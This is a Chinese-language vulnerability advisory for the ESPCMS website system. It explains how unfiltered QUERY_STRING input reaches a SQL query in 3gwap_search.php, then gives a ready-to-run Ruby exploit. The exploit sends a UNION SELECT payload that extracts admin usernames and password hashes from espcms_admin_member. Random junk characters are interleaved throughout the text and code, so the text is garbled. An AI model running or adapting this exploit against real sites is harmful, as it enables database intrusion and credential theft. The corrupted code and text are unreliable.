0×0 漏洞概述0×1 漏洞细节
' \. P/ k: {! j ^6 l0×2 PoC
9 j8 ]4 D4 s/ k7 a# Z0 }- c: ?( I( Z$ v& l/ ]
+ ]6 C$ ?: O8 N, g
5 B; z; h3 f7 ^; B( h6 q
0×0 漏洞概述* g7 ~' h* b; k3 {. e( w" N
. T( u n" C1 ~$ {& `% M
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
% r% l0 y* ]3 e4 u! E( \其在处理传入的参数时考虑不严谨导致SQL注入发生
( K/ H; H: c0 w
5 ^: Y) C" `5 ~3 h) u3 m# A: V( T- b6 X+ z: }; V% }
0×1 漏洞细节$ ?& q9 g# l; a: V; E; R
/ r# `- T; d* B3 J3 ]( q8 I变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
& u6 P9 Y/ }. \2 e正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。 @' p2 O k6 c% B
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。. o D9 [: D: f/ E j
9 D6 O) {4 v5 b9 P$ _在/interface/3gwap_search.php文件的in_result函数中:) X+ t7 o. I t2 k/ L/ V0 z
8 j6 J/ Z7 y; G1 V# {6 N
0 N& Q) @: S% X2 \* B o2 h4 S( G9 ]" v7 q' O0 s: d7 D
function in_result() {
4 C; S* @5 I" u( t/ k! T% k ... ... ... ... ... ... ... ... ...
8 B* f `) n) ?: A% Z P% i1 M0 X $urlcode = $_SERVER[ 'QUERY_STRING '];
* l& i& B }+ V2 z5 A' S6 D) Z$ O parse_str(html_entity_decode($urlcode), $output);2 s5 K3 p( G7 y; v" I' F5 e2 w
2 m& @% q3 U7 w) i) P ... ... ... ... ... ... ... ... ...9 r5 | \5 ~* A1 U
if (is_array($output['attr' ]) && count($output['attr']) > 0) {% q6 T: O: D+ i) Z/ f) \
1 Q( i3 l* T0 n* p) K2 P5 ~5 g $db_table = db_prefix . 'model_att';. W, J% r4 l& b1 e
, p) I; O ^! ?- t$ L
foreach ($output['attr' ] as $key => $value) {& o; k9 m+ j2 q M( d
if ($value) {3 ^; r0 C: b4 c% b! @2 R
, F* |) W% i# B( o1 x$ {
$key = addslashes($key);# ^; q; Z4 V% O/ c) S. N; ?( ^" L
$key = $this-> fun->inputcodetrim($key);
o: Q! ~' Y( p; s& N- S $db_att_where = " WHERE isclass=1 AND attrname='$key'";
4 s4 \9 d3 U% Y4 A: V2 k2 D $countnum = $this->db_numrows($db_table, $db_att_where);
}0 B$ z$ o5 s+ ?+ Q/ _2 V if ($countnum > 0) {
# Q" x$ H& U4 A9 p' r4 a% g/ L& } $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
4 Z$ N* h; N8 E, i+ `5 c0 a }
% l2 ]8 n2 }; q" ^" B }
" @; g8 F8 L6 r9 s% R x }
+ J6 p9 i2 w# G, n. J! g/ b) Z }
* P& ]: w+ a$ Z" I if (!empty ($keyword) && empty($keyname)) {
4 R* f+ Z9 h# X; c% u: ~' o5 U# x' E $keyname = 'title';9 }2 l1 D2 P% A5 W7 l/ ]; Z1 p- V
$db_where.= " AND a.title like '%$keyword%'" ;" C u& O1 r* j1 Z, d- e6 w
} elseif (!empty ($keyword) && !empty($keyname)) {4 b1 a* N% R. e- Y
$db_where.= " AND $keyname like '% $keyword%'";
9 h5 I% u/ P4 Y0 i }$ |/ |6 M# r( s7 k2 q9 D3 {: }6 w
$pagemax = 15;
2 N' j: E4 O' [6 T& H% x6 i. ]
4 L5 e% U- ~1 U1 N0 F0 ^. L $pagesylte = 1;9 @/ ^6 r* ~9 s& Q, S) Y4 b( Z
! S5 l7 i* P: o" l if ($countnum > 0) {
4 B9 l3 L4 \6 c: b/ ` M* {
; h' s- c' y1 u% {8 t" v% n6 W, \ $numpage = ceil($countnum / $pagemax);" _- h0 k( ` _. \
} else {: v6 b: C9 p; f. m5 I
$numpage = 1;
0 y; T5 {4 _( P7 E' \: W! z }. ?( T3 q ~4 N% ?. F/ Z- Y
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
2 p* J. H$ }3 G6 I3 ?$ V $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);* i! B' K# s V$ |" w; d$ m# {
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
) a7 |' o r5 ?6 Z o ... ... ... ... ... ... ... ... ...
5 n2 \( A+ a' p; _ }" m9 W& o- I) J: ^# z# |
& B0 u9 r. g3 y7 _
' Y( k* f/ D& Y/ N0×2 PoC, P" M8 X7 [7 J' H+ u0 O2 E8 }2 N' v
9 q3 e' I' |, W- {, ?( |% j8 `. Z3 n, l1 g& M$ |, p
: D& Q3 t- P7 w* p9 X5 Grequire "net/http"% ?, ?" d% Q# U+ G
k3 S6 \" b( U$ Y% M" l5 [
def request(method, url)
: P& v1 A4 g; U( F5 n D5 U" a8 |( N" ? if method.eql?("get"), n F% S% e) a" V
uri = URI.parse(url)
7 S$ b* d8 b4 @( s/ W9 l http = Net::HTTP.new(uri.host, uri.port)9 [7 k% K9 O3 O# a% O, R' Y
response = http.request(Net::HTTP::Get.new(uri.request_uri))
8 \; ?6 _7 a* p5 c. L return response
6 z# H0 y K+ F! K+ T/ ]8 C end! @3 k) c% ?8 G0 q6 t
end
$ l: S0 }8 x7 L4 Q [7 P: x7 M5 n, B( o: J& T7 W+ X
doc =<<HERE1 O" N7 B1 ~7 s2 ?8 {* H) I7 A
-------------------------------------------------------
+ j: T: e2 k' j0 ]: G2 QEspcms Injection Exploit
& o4 t4 q; D) I$ L% A- {$ Q$ O2 bAuthor:ztz
: Y3 m/ W0 A% d" H# s2 h( M/ ?/ ]Blog:http://ztz.fuzzexp.org/. d' K! A7 w6 L0 g# _
-------------------------------------------------------
9 z0 ]8 x" W" B" g6 ~4 C) `' b# a( q8 B% G6 ~& a0 d
HERE
0 k- O, Y' a- b8 s0 _ S/ z8 }6 q$ s, p) _" X8 p$ b% @6 F
usage =<<HERE8 o% s& N9 c6 s, Q" x
Usage: ruby #{$0} host port path# B: {3 }6 Z: v
example: ruby #{$0} www.target.com 80 /- D( A z$ e' y) J( ]) ]
HERE7 f4 J; x9 q) M7 k4 T- w& M* t) z
$ C4 ^/ H/ J; V5 S2 i3 Wputs doc
b1 n) R8 q, `) T. e+ |% ]% _if ARGV.length < 3& Z A6 Q1 @& y2 d
puts usage
3 I) V( L6 L3 l* _3 M* A! uelse
- ?3 x. N8 N+ F6 v $host = ARGV[0]* A5 x v. S0 D: B
$port = ARGV[1]
9 g& r, @5 l; ?1 b/ d $path = ARGV[2]
1 S% ^6 [4 r. r6 w' T) r6 D7 @! F2 A6 ?# ^" n/ p5 g
puts "send request..."9 f! D/ S7 @' T) y
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
) r6 C" k1 A4 P* A% X7 Gattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
& P6 d" y2 i6 f8 w; \* x# s! |,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
2 U* V, F+ l2 u! w) q% I,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"4 O l4 i2 G( v. C$ M- D6 [
response = request("get", url)# D- p7 r' I. k2 X% H( Z4 I
result = response.body.scan(/\w+&\w{32}/)' E4 o7 Q7 z+ s0 M9 @
puts result0 r1 P0 ^, ?( L) K6 O- g9 @, J R
end
~9 {8 S0 t! F" r9 E$ ^( K) @) R8 t2 U* H& g3 ~4 p, u
|